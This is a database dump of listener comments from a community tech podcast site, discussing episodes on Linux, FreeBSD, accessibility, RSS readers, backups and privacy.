(3541,3676,'2022-09-04 10:53:51','Archer72','Good show - I made it to the end','Thanks for another great community show.\r\nI did make it to the end, although I admit to downloading\r\nand listening to the show at 2x after the mailing list discussion\r\nwas started.   BTW, Ken, I do not skip your shows.  ;-)','2022-09-05 08:43:26'),
(3542,3675,'2022-09-03 04:06:51','ken','Editors note not Ken Fallon','You\'re so smart, and you understand everything.','2022-09-10 09:07:02'),
(3543,3675,'2022-09-03 04:59:16','passerby','fake news','there was no \"vuln in the authentication system,\" just a path traversal which was \"exploited\" to read files already publicly accessible.  4chan overhyped the rest.','2022-09-05 11:53:32'),
(3544,3676,'2022-09-05 13:43:21','ClaudioM','Another One Made It to the End!','Add me to the list with archer72 making it to the end. Great show. Not as fast as archer72, but I do listen at 1.5x speed. I always look forward to Ken over-enthusiastically shouting, \"Raaaadiooooo!!!!\" at the end of the Community Show. It\'s worth listening to all of it. :-D','2022-09-05 18:40:23'),
(3545,3676,'2022-09-05 15:19:55','Mike Ray','A11y and abbreviations','Congratulations on spending longer talking about accessibility than every other Linux podcast put together, ever. I\'ve given up trying to get podcasts like \'Destination Linux\' to include a11y comments when they review a distro. All I ever want to know is whether I can install it unassisted. After, none of you photon-dependent types would give house room to a distro if you had to run round looking for a blind person to install it for you.\r\n\r\nAnd now a word about abbreviations. The abbreviation \'a11y\' is similar to \'i18n\' (internationalization). Replace the centre letters with the number of letters removed, and leave just the first and last letter. And \'a11y\' is pronounced \'a eleven y\', not \'ally\'.\r\n\r\nException to this is \'k8s\', a common abbreviation for Kubernetes, which a lot of folks pronounce as \'kates\'.\r\n\r\nI will see if there is a way of recording a show and including the audio from my screen reader, in order to demo some of what we have to cope with. If the sound of the screen reader would not drive the whole audience into madness.','2022-09-05 18:40:23'),
(3546,3658,'2022-09-05 22:29:57','operat0r','awesome','I just want to say not every Linux Inlaws is for me but theses are SMART PEOPLE we should embrace SMART people to communicate and share even if they [WE] can\'t always communicate effectively! \r\n\r\nB&#x338;&#x309;&#x35B;&#x35D;&#x339;E&#x335;&#x302;&#x33F;&#x315;&#x300;&#x311;&#x357;&#x340;&#x34B;&#x30E;&#x350;&#x35D;&#x31B;&#x32D;&#x32B;&#x348;&#x34D; &#x336;&#x300;&#x357;&#x34B;&#x30C;&#x318;&#x325;&#x323;&#x316;&#x32E;Y&#x337;&#x35B;&#x310;&#x33B;&#x329;&#x328;&#x35C;&#x331;&#x353;&#x330;&#x31C;&#x320;&#x31E;&#x31F;&#x35A;&#x330;&#x319;&#x356;O&#x336;&#x308;&#x310;&#x34A;&#x33F;&#x340;&#x311;&#x30C;&#x30D;&#x31B;&#x339;&#x319;&#x34D;&#x356;&#x320;&#x322;&#x323;&#x331;&#x319;&#x347;&#x349;&#x31D;U&#x336;&#x352;&#x35D;&#x305;&#x350;&#x301;&#x31E;&#x339;&#x316;&#x31C;&#x32B;&#x33A;&#x327;&#x32D;&#x326;&#x316; &#x337;&#x35D;&#x315;&#x31C;&#x32B;&#x325;&#x32D;&#x32A;&#x319;&#x349;&#x31C;&#x31E;&#x349;&#x331;&#x345;&#x349;B&#x335;&#x30A;&#x35D;&#x34B;&#x310;&#x350;&#x360;&#x30E;&#x321;&#x356;E&#x334;&#x30A;&#x301;&#x352;&#x346;&#x33F;&#x357;&#x304;&#x318;&#x31D; &#x334;&#x304;&#x33E;&#x32E;&#x322;&#x331;&#x33B;&#x348;&#x31D;&#x33B;&#x34E;&#x349;&#x356;&#x353;&#x318;&#x31F;&#x328;&#x347;A&#x336;&#x311;&#x308;&#x30A;&#x31B;&#x34C;&#x314;&#x34A;&#x324;&#x327;&#x34D;&#x32D;&#x32C;&#x31C;&#x332;&#x325;&#x332;&#x32A;&#x317;&#x359;W&#x335;&#x302;&#x352;&#x341;&#x33F;&#x307;&#x303;&#x33A;&#x327;&#x347;&#x32F;&#x32D;&#x32E;&#x31E;&#x33A;&#x316;&#x359;E&#x335;&#x30E;&#x33F;&#x300;&#x310;&#x30C;&#x346;&#x313;&#x308;&#x325;&#x327;&#x324;&#x32B;S&#x338;&#x344;&#x35B;&#x308;&#x30D;&#x360;&#x30D;&#x358;&#x325;&#x31E;&#x31D;&#x31C;&#x324;&#x321;&#x34D;&#x329;&#x326;&#x359;O&#x335;&#x308;&#x30C;&#x305;&#x359;&#x32A;&#x34D;&#x327;&#x330;&#x345;&#x317;&#x319;&#x327;&#x324;&#x34D;M&#x334;&#x352;&#x357;&#x344;&#x30D;&#x350;&#x315;&#x300;&#x355;&#x355;&#x345;&#x354;&#x348;&#x322;&#x345;&#x322;&#x359;&#x356;&#x316;E&#x336;&#x344;&#x34A;&#x311;&#x342;&#x33E;&#x34B;&#x35D;&#x305;&#x30D;&#x33E;&#x308;&#x30E;&#x309;&#x35A;&#x35A;&#x31D;&#x32F;&#x34D;&#x33C;&#x31F;!&#x336;&#x33F;&#x310;&#x31B;&#x34A;&#x302;&#x341;&#x30C;&#x308;&#x30D;&#x357;&#x352;&#x35D;&#x360;&#x314;&#x345;&#x347;&#x356;&#x348;&#x326;&#x349;&#x339;&#x332;&#x355;&#x354;&#x333;&#x353;','2022-09-06 19:19:35'),
(3547,3673,'2022-09-05 22:51:13','Carl','Great Tips!','Great show dnt and thanks to you and Thaj for the feedback via email. What are the odds that an HPR show that specifically mentioned me would also air on my birthday, 31 Aug.?! Pretty cool!','2022-09-06 19:19:35'),
(3548,2449,'2022-09-06 01:59:39','Sinza','Pinephone','I\'ll preface this by saying that I am responding to this five years later, and I\'m not 100% sure if this would have been desired (or possible, for that matter) back then. I\'m just sharing how I got around this problem in 2022. :-)\r\n\r\nWhat I do for my mobile org-mode needs is a Pinephone with a keyboard case running PostmarketOS with the SXMO environment and Emacs installed on it. It\'s a full, no-compromises X11-based Emacs setup. \r\n\r\nIt\'s actually quite comparable to an Atari Portfolio in form factor, as opposed to a more typical smartphone. Because my cell phone provider doesn\'t support the Pinephone, I don\'t use it as an actual phone, however.','2022-09-06 19:19:36'),
(3549,3676,'2022-09-06 04:30:29','operat0r','I made it !','I made it to the end! much better then trying to figure out API for Reolink so I don\'t have to install there \"app\"','2022-09-06 19:19:36'),
(3550,3676,'2022-09-06 10:50:39','folky','Did make it too','Hi!\r\n\r\nI did make it too to the end of the show. No problem, only about 2 hours, that\'s nothing ;-)\r\nI think I have to state once more my stance in the Linux Inlaws-question. Yes, I don\'t like the show, but that\'s not why I agree with all thinking that they should take the step over to archive.org. It\'s just that they overstayed their upstart-time on HPR. I wish them all good and maybe we should give them a last help by adding a link to their own rss-feed (as soon as it\'s up) on all shows they had here to make it easier for their listeners to find them.','2022-09-06 19:19:36'),
(3551,3677,'2022-09-06 11:34:50','Filly Buster','Filibuster','80% of this three hour spectacular is one person dominating the conversation the other 20% is vain attempts by everyone else to join in. Not mad, just impressed!','2022-09-06 19:19:36'),
(3552,3676,'2022-09-06 11:47:56','brian-in-ohio','the show','Great show as always. The table of shows in the show notes is useful. Thanks','2022-09-06 19:19:36'),
(3553,3676,'2022-09-06 12:32:57','norrist','Public access to HPR site Generator','Required Auth for code contributions in understandable.\r\n\r\nIt would be easier to automate site builds if there were an unauthenticated option for checking out the code.  I like Rhon\'s suggestion of a public git mirror.  Another option is to create a daily archive of the code that can be download from the HPR site - Similar to the sql dumps.','2022-09-06 19:19:36'),
(3554,3676,'2022-09-06 19:13:29','Miguel','I made it!!','Yes!\r\nI made it to the end.\r\n\r\nIt\'s quite a good episode\r\n\r\nSorry for the inlaws.\r\n\r\nBut it made for a very interesting conversation.\r\n\r\nI\'ve been thinking about subjects for a show, but I feel stuck with the fact that a i live with limited resources.\r\n\r\nMay you bee interested in tech stories from the third world?','2022-09-06 19:19:37'),
(3555,3676,'2022-09-07 14:05:45','Stache_AF','Made It','Made it to the end. You underestimate my ability to listen to people for long periods of time','2022-09-07 18:32:52'),
(3556,3678,'2022-09-08 02:26:41','Some Guy On The Internet','Stupid=\"NO BACKUPS!\"','Success is the last step you make on a flight of stairs called Failure; and if you&rsquo;re like me you&rsquo;ll take one more tiny step then fall. You&rsquo;re Co-host is correct; backups for the win. I do &ldquo;stupid&rdquo; things often on my system. When the mistake seems to cost more than 2 hrs of my time, &ldquo;nuke&rdquo; the system then run &ldquo;pave.sh&rdquo; to restore from backups. My stairway has more steps than I&rsquo;m allowed to know, so I&rsquo;ll be on my way. Thanks for the show.','2022-09-08 19:28:11'),
(3557,3655,'2022-09-08 08:40:29','Ken Fallon','Featured on BSD Now 471','Thanks to Luna J for the tip.\r\n\r\nhttps://www.bsdnow.tv/471','2022-09-08 19:28:11'),
(3558,3678,'2022-09-09 20:22:35','Lurking Prion','No Backups','The lack of preparation for failure is the failure to be prepared. \r\nI agree that we all fall. In security we blame the user for our failure to be prepared for that eventuality. Failing at home is expected as we are one person. In an enterprise there is a team preparing for this. The problem is that preparation requires time and money which are more often than not denied as a business decision. \r\nThere is a lot more on this topic coming in the future. \r\nGlad you enjoyed the show!','2022-09-09 20:35:14'),
(3559,3678,'2022-09-09 20:32:04','Lurking Prion','Not a podcast','This is a pre-emptive strike as I dont want to be the next Linux Inlaws. The shows I am posting are not a podcast. This and the next show have intro\'s and outro\'s as they were loaded a while ago and I was trying different things. So, please forgive the apparent hubris and accept my apologies if anyone is offended by this. I was just hacking the format.','2022-09-09 20:35:14'),
(3560,3678,'2022-09-10 02:03:25','Some Guy On The Internet','You\'re Fine (...preemptive strike).','I know recent events have raised some questions, but there&rsquo;s no need to be concerned. Just remember to say &ldquo;I Use Arch, btw!&rdquo; before starting the show and talk about doing everything in the terminal. Toss in a Window Manager (bspwn, because it sounds cool) and a quick mention of Vim then you&rsquo;re all good. Once a host had to go into hiding for speaking ill of the &ldquo;Mighty Think Pad&rdquo; but they&rsquo;re safe now.','2022-09-10 20:50:29'),
(3561,3706,'2022-09-10 13:34:48','Ken Fallon','Wrong wrong wrong','Microsoft is into opensource because overnight their server business dissipated when dockerisation came along and destroyed their server market. They had no choice but to get on the band wagon, like the did with the BSD TCPIP stack in the day.\r\n\r\nTheir strategy was, is, and will forever be embrace, extend and extinguish. Do not mistake Windows Subsystem for Linux as been our friends. They are for running Linux binary executable natively on Windows, and not the other way around. \r\n\r\nThis is one piece of software designed to counteract Corporate Linux asking for Linux Laptops.\r\n\r\nSelling an Operating system is very very profitable and is required for growth.\r\nLocked in to the Desktop.\r\nLocked in to Office.\r\nLocked in to Teams.\r\n\r\nhttps://techbehemoths.com/blog/how-microsoft-makes-billions\r\n\"According to Microsoft data, Windows revenue increased $1.9 billion or 9%, driven by growth in Windows Commercial and Windows OEM. Windows Commercial products and cloud services revenue increased 18%, driven by increased demand for Microsoft 365. Windows OEM revenue increased 9%, ahead of PC market growth. \"','2022-09-10 20:50:29'),
(3562,3692,'2022-09-27 15:39:49','brian-in-ohio','cussing','What happened? You\'ve never done it before. Why are you using the f word so much. Does someone need a hug?','2022-09-27 19:13:19'),
(3563,3692,'2022-09-27 23:45:50','Lurking Prion','Yes, I probably need a hug','Sorry, the old sailor in me slipped out.  I\'ll stuff him back in the cage where he belongs &#x1F609;','2022-09-28 18:36:18'),
(3564,3694,'2022-09-29 12:19:53','one_of_spoons','{inspirational artifice}','Good story. Convincing, consistent style and tone.\r\nThe soundscape further imbues this scene with atmospheric oxides, metallic and otherwise.\r\nImagination is a cognitive facility; combined with real world observation and practice, it can save us from dull compliance, and replication of deluded privilege .','2022-09-29 19:44:34'),
(3565,3694,'2022-09-29 12:37:10','ClaudioM','Great Story','Really enjoyed the story and looking forward to hear more on this.','2022-09-29 19:44:34'),
(3566,3694,'2022-09-29 13:19:33','Ken Fallon','I loved this','More of this type of thing !','2022-09-29 19:44:34'),
(3567,3694,'2022-09-29 21:25:34','Mechatroniac','Thanks','Thank you for the comments, I probably won\'t do more like this for a while because of the effort involved lol... this one has been on the burner for a long while.  But it relates to stuff I will be talking about later on self-assembly so I felt the need to get it out.','2022-09-29 22:27:08'),
(3568,2756,'2022-09-30 03:26:38','Unnamed','Untitled','Thank you very much for the series!\r\nI\'ve a lot of friends, who I infected with HPR and Bash with your show! One is even blind, using a braille device. I want you to know, the this Kind of work is very much apreciated! Good people are so rare..','2022-09-30 22:07:04'),
(3569,3695,'2022-09-30 10:33:35','folky','Great for gpodder too','Hi!\r\nThank you for your great show. I could use the url I got your way for gPodder too, but not for castget. Just for those who wanted to use something other than newsboat.','2022-09-30 22:07:04'),
(3570,3694,'2022-09-30 13:09:35','brian-in-ohio','the show','Great episode! Watever the interval keep them coming.','2022-09-30 22:07:04'),
(3571,3695,'2022-10-01 01:44:44','binrc','RSS THE PLANET','I forgot to say in the show, \"Video feeds also seem to work with the Antenna Pod app from F-Droid on android\". Automatic audio-only playback of videos seems to work also. \r\n\r\nHack the planet? No, I want to RSS-ify the planet.','2022-10-01 18:30:00'),
(3572,3695,'2022-10-03 16:56:38','Dave Morriss','Great show, but I have questions','Hi,\r\n\r\nThis was most interesting. I tried out newsboat after installing it with mpv and yt-dlp. I tried your configuration file as a starting point but I got an error. I found newsboat didn\'t like:\r\n\r\nbind-key U bashow-urls\r\n\r\nI used \'show-urls\' which I found in the documentation.\r\n\r\nAlso, what\'s linkhandler? If you mentioned it in the audio I missed it.\r\n\r\nThanks for the show. I suspect I will be using newsboat from now on.','2022-10-03 20:57:30'),
(3577,3701,'2022-10-11 23:46:54','Windigo','Excellent first episode!','Thank you for the introductory episode - and for discussing ResierFS! I used it as my primary file system ages ago, and enjoyed hearing about it again.','2022-10-12 19:51:23'),
(3574,3701,'2022-10-11 16:56:43','wynaut','Very interesting','Thanks Paul, really enjoyed your show.','2022-10-11 18:31:09'),
(3575,3701,'2022-10-11 18:52:27','Kevin O\'Brien','Great show','Thank you for sharing this, good information.','2022-10-11 18:57:07'),
(3576,3701,'2022-10-11 21:51:38','Beeza','Perfect First Show','This first show was everything an HPR episode should be. It told us about a file system many will not have heard of but, not only that, undoubtedly inspired many of us to look deeper into the subject matter thanks to your excellent delivery.','2022-10-11 22:01:28'),
(3578,3702,'2022-10-12 12:22:43','Kinghezy','Jerusalem','The closing song gave me a start, as it is a tune setting in our church \'s psalter/hymnal. What a great tune.','2022-10-12 19:51:23'),
(3579,3701,'2022-10-13 22:54:46','brian-in-ohio','great show','I enjoyed this show very much. Looking forward to the series of shows you alluded to in the episode. I wonder if you might tell us about your programming language some time, might it have been a lisp, or even better a forth? :) Keep them coming','2022-10-14 18:20:35'),
(3580,3705,'2022-10-17 23:03:15','dnt','Time running out on 2022','Thanks for outlining the installation of FreeBSD. I tried it out this weekend and am kind of surprised, a lot of stuff is available via pkg. Wi-Fi and touchpad didn\'t work out of the gate but I don\'t care. My only criticism is that the GUI setup program, like in Slackware, is really not worth it. Setting up Archlinux is just as easy, but because you apply your decisions at set-up in mostly the same way you do any other day, you just learn more about your system. I\'m glad I have it installed so I can piddle around with it.','2022-10-17 23:26:34'),
(3581,3706,'2022-10-18 00:21:06','dnt','Capitalism or technology','Interesting talk, thanks for this! After listening, I was thinking that maybe adding a third co-host whose views contrast more with your own could make your shows even more thought-provoking. As for this episode, I have so many thoughts, it wouldn\'t be right to expect Ken to read them in the community news show. But I think I can summarize them in one question: is it possible to talk about a future of technology that has nothing to do with capitalism?','2022-10-18 19:26:40'),
(3582,3706,'2022-10-18 05:04:30','Windigo','Relatable','The quote \"...you need to be quiet now, I don\'t like your future\" is one I can relate to. I often feel the same way when I see trends in development, technology, etc. heading away from the parts that I enjoy and find interesting.\r\n\r\nThe HPR episodes on Gopher, Forth, and other older technologies do make me hopeful that we\'ll always have our niche, though!','2022-10-18 19:26:40'),
(3583,3707,'2022-10-18 07:12:13','one_of_spoons','gravity generator','If the DC motor has permanent magnets (like most battery powered drill drivers), then you can just turn the wheel and get electricity from the input terminals.\r\nThe advantage of such a high powered unit (horsepowers) is that you don\'t even need gears to take advantage of concentrated sources of energy, like your own body weight, or sacks of grit.\r\nAs you probably noticed by now, when you are in barn territory, then your mental scope finds wider focus.\r\nYou can make good batteries and capacitors on the bucket or barrel scale, with far less toxic materials than Lithium or Lead.','2022-10-18 19:26:40'),
(3584,3705,'2022-10-18 12:18:31','Kevin O\'Brien','Great show','Very good job here, giving detailed information on using this operating system.','2022-10-18 19:26:40'),
(3585,3695,'2022-10-20 22:31:50','Nate','use an invidious instance to get the channel id','thanks for the newsboat reference.','2022-10-20 22:33:57'),
(3586,3708,'2022-10-21 23:46:41','dnt','Sleep with me','Hilarious podcast recommendation. That guy truly has a talent, as you said.','2022-10-22 19:13:25'),
(3587,3707,'2022-10-23 19:14:34','Mechatroniac','electricity','Hadn\'t thought of that, but then you have to haul the weight back up unless you can take advantage of tides, but then you have underwater problems.  \r\n\r\nTaking advantage of a local stream to turn the wheel would probably work.  \r\n\r\nUltimately I\'d like to build an electric buggy/robot or something like that out of it.','2022-10-23 19:32:49'),
(3588,3710,'2022-10-25 18:38:11','dnt','Travelling','Great stuff. I should remember to keep a diary next time I go somewhere. Thank you for laying this stuff out. A valuable reference to have!','2022-10-25 21:45:19'),
(3589,3710,'2022-10-25 22:25:44','Kevin O\'Brien','You are most welcome','I\'m glad you enjoyed it. My first travel diary is from January, 1979, when my now wife and I went to San Francisco, and there we got engaged. So I have been doing it for some time. Now I am in the process of scanning in old paper diaries, OCR-ing them, and getting them into shape.\n','2022-10-26 16:00:24'),
(3590,3713,'2022-10-27 05:18:51','Some Guy On The Internet','Great Show','I didn&rsquo;t know bash had special names for it&rsquo;s expressions (like short-circuit evaluation). I really need to work on my short hand expressions (e.g. || &amp;&amp;); cleaner scripts. The examples in the show notes are very valuable, thank you for providing them. Now I will brick my computer in style.','2022-10-27 23:13:23'),
(3591,3712,'2022-10-27 05:23:27','Some Guy On The Internet','I\'ve never heard of this site until now.','Sad to hear the project is ending but I&rsquo;m happy to know it existed. I love the theme played at the end of the show; how do I find that track? I searched the Internet Archives to find more hits. Are there other sites like this? I now have a hunger for CC music.','2022-10-27 23:13:23'),
(3592,3711,'2022-10-27 05:28:14','Some Guy On The Internet','Big Human = Big Vehicle','Americans are too big to fit in cars, lol. We&rsquo;ll need 18 wheelers to cart us around in the next 10 years.','2022-10-27 23:13:24'),
(3593,3707,'2022-10-27 05:33:11','Some Guy On The Internet','Cool beans','I love projects like this. Taking something old or discarded and making use of it. How&rsquo;d you learn to repair circuits, small motors, and other electronics? Was this a hobby expanded into life or do you have training?','2022-10-27 23:13:24'),
(3594,3698,'2022-10-27 05:38:27','Some Guy On The Internet','I gave it a go.','I had no idea this was in audacity. I was very excited to know there maybe a way to remove the hum of my HVAC but this still isn&rsquo;t possible. This was a nice short rabbit hole to wonder around in for a day or two. I learned more about audio frequencies and how to interact with them in audacity. Great show.','2022-10-27 23:13:24'),
(3595,3697,'2022-10-27 05:40:56','Some Guy On The Internet','Bravo, Bravo!','This was a great show. I love the difference in opinions and the topics are brilliant.  Please provide more.','2022-10-27 23:13:24'),
(3596,3694,'2022-10-27 05:48:14','Some Guy On The Internet','Please continue.','I love HPR for its diversity. This type of show sounds like it was a lot of work, but it&rsquo;s fantastic. If you were to do a future show of this type or continue the story, lower the music a bit. It was difficult to hear  in some places. I also would love some more backstory on why the x86 (certain die size) chips were destroyed. I know you said a neutron star caused it, and I&rsquo;m not looking for something super scientific, I just like more story. Thanks again for the show.','2022-10-27 23:13:24'),
(3597,3693,'2022-10-27 05:55:44','Some Guy On The Internet','Thank you.','This is a very satisfying show. I was worried for a bit when you made the first cut and the mower didn&rsquo;t work, but when you returned with an update I was excited. Are the electric mowers worth purchasing over gas mowers? I see everything electrical as &ldquo;proprietary design&rdquo; unless it demonstrates otherwise. I just don&rsquo;t want to buy a mower that comes with a monthly service fee (John Deer).  Thanks for the show.','2022-10-27 23:13:24'),
(3598,3714,'2022-10-27 11:39:40','ClaudioM','Great Episode!','Really enjoyed this news roundup! Looking forward to more, SGOTI!','2022-10-27 23:13:24'),
(3599,3714,'2022-10-27 12:05:34','Zen_floater2','OH NO!','OH OH NO!','2022-10-27 23:13:25'),
(3600,3714,'2022-10-28 02:51:13','dnt','This just in:','Amazing!','2022-10-29 22:16:03'),
(3601,3712,'2022-10-29 11:12:15','thelovebug','CCHits theme tune','SGOTI: the theme is GMZ by Scott Altham\r\nhttp://ccmixter.org/files/scottaltham/19726\r\n\r\nIt is a shame about CCHits\' demise, as it as such a good project to be involved in.\r\n\r\nAs far as other CC music sites are concerned, there is Jamendo and the Free Music Archive, but they both have their own quirks and foibles.\r\n\r\nShows that select and feature CC music - like The Bugcast (disclosure: my own show) - filter out a lot of the chaff, and probably insert some too!\r\n\r\nCheers,\r\nDave','2022-10-29 22:16:03'),
(3602,3714,'2022-10-29 11:38:31','Kevin O\'Brien','Wonderful!','I think you could fill the hole left when Deep Geek dropped out. Please keep doing this.','2022-10-29 22:16:03'),
(3603,3715,'2022-10-29 20:22:25','The hacker formerly known as b-yeezi','Tin foil hat engaged','Thanks for the show','2022-10-29 22:16:03'),
(3604,3715,'2022-10-31 17:03:56','one_of_spoons','Protonmail shopping for law enforcement.','The case of the French activist was a useful wake up call for many. They were arrested as a result of information relating to email account creation, and identification of the device used .\r\nEssentially, Swiss courts will force Proton to provide all available information if a crime has been \"established\". Remember, new legislation is created daily, and comes into effect straight away.\r\nIn this case the activist was campaigning about gentrification.\r\nProton have since provided other documentation clarifying ways to avoid them having any useful information to give; however, you won\'t usually notice that stuff on the front page of advertising for many service providers.\r\nAt least nobody disappeared in this case.\r\nThanks for the stimulation SGOTI.','2022-10-31 20:32:46'),
(3605,3714,'2022-11-02 15:41:36','Dave Morriss','Beautifully done!','Loved this. Your assistant did a fine job!','2022-11-02 22:39:00'),
(3606,3715,'2022-11-02 17:33:44','Dave Morriss','A very interesting discussion','Some great and important topics. Excellent show.\r\n\r\nI actually have a Fairphone 3+ but haven\'t replaced standard Android (yet) because I\'m concerned that I\'ll brick the phone! It\'s an OK phone, but I hate Android in its unmodified state.\r\n\r\nI get daily calls from unknown numbers. I look them up on a site called who-called.co.uk and mostly find they are spam calls. I then block them. My network provider (giffgaff) seems to be flagging spam calls using a database like this, which is very useful.\r\n\r\nI used to be heavily into email encryption. I even got my PGP key signed in 2014 at FOSDEM, Belgium. I am using it a lot less now, though the latest Thunderbird has apparently good support for PGP. It\'s a shame this didn\'t become a more generally accepted method of making email secure.','2022-11-02 22:39:00'),
(3607,3715,'2022-11-03 00:52:29','DeepGeek','Phone, Tiling wm,','Great Show, \"I began hanging around you guys and became a wierdo!\" classic LOL!\r\n\r\nWanted to let you know, that a youtube personality named Robert Braxman sells \"de-google\" phones. He regresses android phones to run only android Open Source project.\r\n\r\nA fingerprint that can follow you around as you switch phones is a combination of the three cell towers your phone spends the most time in.\r\n\r\nTiling Window Managers, theres a program called winwrangler, runs in the background, and adds the three most popular tiling araingements to any WM/DE.  It talks to the Window Manager through the WWMH specifications to add features to any WM.  I like fluxbox, and if you ever try it and want, I have a config file that adds \"Pseudo Tiling\" to it.  \r\n\r\nGreat Show, thanks!\r\n---\r\nDeepGeek','2022-11-04 07:31:51'),
(3608,3705,'2022-11-03 14:19:14','binrc','additional links','Found some helpful things\r\n\r\nLinux to FreeBSD quick start: \r\nhttps://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/\r\n\r\nSupported hardware: \r\nhttps://wiki.freebsd.org/Laptops\r\nhttps://bsd-hardware.info/\r\nhttps://dmesgd.nycbug.org/index.cgi','2022-11-04 07:31:52'),
(3609,3698,'2022-11-04 14:39:49','MrX','What a great tip','Hi Klaatu just wanted to say I was intrigued by this podcast and took a note to try this out when I get a spare 5 minutes. I just opened my most recent show into Audacity and selected Spectrogram view. The results are amazing. Any involuntary noises become so much more visible making them very easy to pick out and remove. I will be sure to use this in future shows. Thanks again for another brilliant show. Cheers MrX','2022-11-05 20:02:09'),
(3610,3719,'2022-11-04 16:28:42','mike M.','Another form of typosquatting','Here is another way of typosquatting:\r\nhttps://youtu.be/2JPnwqbVIuQ','2022-11-05 20:02:09'),
(3611,3721,'2022-11-07 12:40:29','Archer72','Weirdos','Ken, great t-shirt idea.\r\n\r\n \"Hang around HPR and become a weirdo\"','2022-11-07 19:28:13'),
(3612,3711,'2022-11-09 18:57:25','dnt','pedestrians and cyclists','Recently I heard a councilperson here in Kansas City, MO talk about how these bigger vehicles that are replacing cars are also far more likely to kill a pedestrian or a cyclist in a collision, to say nothing of squirrels. I had never considered that. They\'re designed with little regard for what might be in their path.\r\n \r\nThanks for putting together this show, and stay safe out there!','2022-11-09 20:09:03'),
(3613,3722,'2022-11-11 14:17:56','rho`n','Great tip!','I have used the GNU gettext utilities in projects. I didn\'t realize it was available in Bash. I understand that irritating feeling when seeing \"1 files processed\" (or whatever object/action is happening). I often put the plural in parenthesis so: \"1 file(s) processed\".  Do like your script Dave, but will probably take advantage of ngettext if it is already on  my machine. However your Bash function would be more portable if writing the script for wider distribution.','2022-11-11 19:29:32'),
(3614,3725,'2022-11-14 17:35:40','Kevin O\'Brien','Useful and timely','Good show with useful information. We need to do everything to help people use public transportation. Something I saw on the Internet: \"A developed country is not one where the poor drive cars. It is one where the rich use public transportation.\"','2022-11-14 21:15:00'),
(3615,3726,'2022-11-15 15:09:12','hammerron','Old LiveJournal','I used to love LiveJournal.  Years ago they changed ownership and Terms of Service. I do not agree with the new Terms of Service. I wanted to delete the account, but I can not access it unless I agree to the changed Terms of Service first.  So the account sits dormant. Anyone have any thoughts on this?','2022-11-15 19:35:30'),
(3616,3722,'2022-11-16 09:47:48','Dave Morriss','Thanks rho`n','I\'d also encountered gettext before, but had never had any need to use it. I was surprised and pleased to find a command-line interface to the package as well, and hoped it might be of interest.\r\n\r\nI have used the Perl module Lingua::EN::Inflect (now replaced by Lingua::EN::Inflexion) which is *very* comprehensive (\"brother\" and \"bretheren\" level), but life\'s too short...','2022-11-17 12:58:33'),
(3617,3729,'2022-11-17 21:35:37','dnt','Car rambling','Great show! It\'s a good idea to record a show by rambling during your drive. Perhaps even a car rambling series would be worth thinking about.','2022-11-17 21:37:29'),
(3618,3728,'2022-11-18 12:32:50','Zen_floater2','I liked this show.','I liked this show, and I\"m a Squirrel who lives in a Magical Forest in Oklahoma and uses a $149 chromebook for my main rig now.  There should be  a segment of the human race which suffers like this for fun.','2022-11-18 20:27:29'),
(3619,3727,'2022-11-18 12:35:08','Zen_floater2','Love server problems','I run OpenBSD now for about 14 years.  Loved your show, reminded me somewhat of my own problems.','2022-11-18 20:27:29'),
(3620,3730,'2022-11-19 05:06:01','Clinton Roy','Dam?','(I really need to find a good way of keeping notes about podcasts I listen to on the go).\r\n\r\nThis was the episode with some of the backstory on hoover dam yeah? I really enjoyed that.','2022-11-19 20:59:14'),
(3621,3728,'2022-11-21 12:24:29','one_of_spoons','Programmable ROM.','I have played with Odroids, and the \'the\' Ubuntu phone, then compiled LineageOS, and flashed Androids, so I recognise the territory.\r\nI\'ve been tempted by Bus Pirates and oscilloscopes, but I remember that RISCV devices are on the horizon, so maybe I should read through those instruction sets and avoid the hard work.','2022-11-21 18:17:05'),
(3622,3731,'2022-11-21 21:08:54','Celeste','didn\'t know the feature','Thanks, i completely missed this new feature.\r\nKdenlive has improved so much in the last years!\r\nAbout minute 4:40 yep, it\'s both free as in price, both libre/opensource ;)','2022-11-21 21:14:21'),
(3623,3731,'2022-11-22 00:40:50','dnt','re: both libre/opensource','Yes, I used an abundance of caution there. To be honest, I only assume kdenlive is open source, let alone free software, so I\'m gonna try not to walk around saying that things are free software. I once heard a very well meaning person say that Adobe Bridge was free (as in speech) software. This was in Portuguese, in which there is no ambiguity between free as in beer and free as in speech. I nearly fell out of my chair!\r\n\r\nThanks for your comment, Celeste!','2022-11-22 19:01:57'),
(3624,3733,'2022-11-23 02:21:53','Lurking Prion','Let\'s do a show','Hit me up and let\'s do a show or 6.','2022-11-23 19:07:25'),
(3625,3733,'2022-11-24 04:07:43','Some Guy On The Internet','Sure','I\'m game. Are you on element/matrix (The HPR Room)?  I\'m also on Mastodon.  We can use the HPR Mumble server to record.','2022-11-24 20:01:20'),
(3626,3728,'2022-11-24 04:19:33','b','rockchip','thanks for the benchmarking. hopefully they\'ll release an updated version/board with rk3588 and more ram','2022-11-24 20:01:21'),
(3627,3734,'2022-11-24 10:03:16','sinza','Great show!','I always like your shows, but I was wanting to work with the NetBSD inetd (which seems to be similar to its OpenBSD cousin) for a personal project of mine. \r\n\r\nThis show came at the right time, and I learned a lot. :-)','2022-11-24 20:01:21'),
(3628,3728,'2022-11-26 13:47:18','sunzu','available distros','Hi nice show thx therefore, you mentioned the linux kernel may handle the cpu setup better than bsd\'s. So iwant mention the slackware aarch64 which officially supports the pinebook, as slackware is relative bsd like (it uses sysv init instead of systemd for example) and you could get the advantage of the linux kernels hw-compatibility. long story short if you like to check it out here is the link: https://docs.slackware.com/slackwarearm:inst_sa64_rk3399_pinebookpro. It\'s currently only the current version but i run it on my rpi4 it\'s not broken till i ran it.\r\nsunzu','2022-11-26 19:28:31'),
(3629,3734,'2022-11-27 16:57:41','Zen_floater2','loved this','love OpenBSD\r\ntry fuguita sometimeP','2022-11-27 20:08:58'),
(3630,3737,'2022-12-05 00:42:50','Aaron Cocker','Kobo e-readers','I had a similar dilemma when it comes to e-reader, my ideal device would have a 6-inch pocket sized backlit screen and run Linux. 7-inch Kobo was the best alternative I could find from this decade it&rsquo;s served me well so far. \r\n \r\nThere&rsquo;s a great choice of free ebooks knocking about and Calibre was finally posted to Python 3, happy days.','2022-12-06 09:10:06'),
(3631,3741,'2022-12-05 01:22:08','Zen_floater2','Freedom VS Free','Just use BSD or as Squirrels say OpenBSD\r\nBut Ken is right.  Good point Ken.','2022-12-06 09:10:06'),
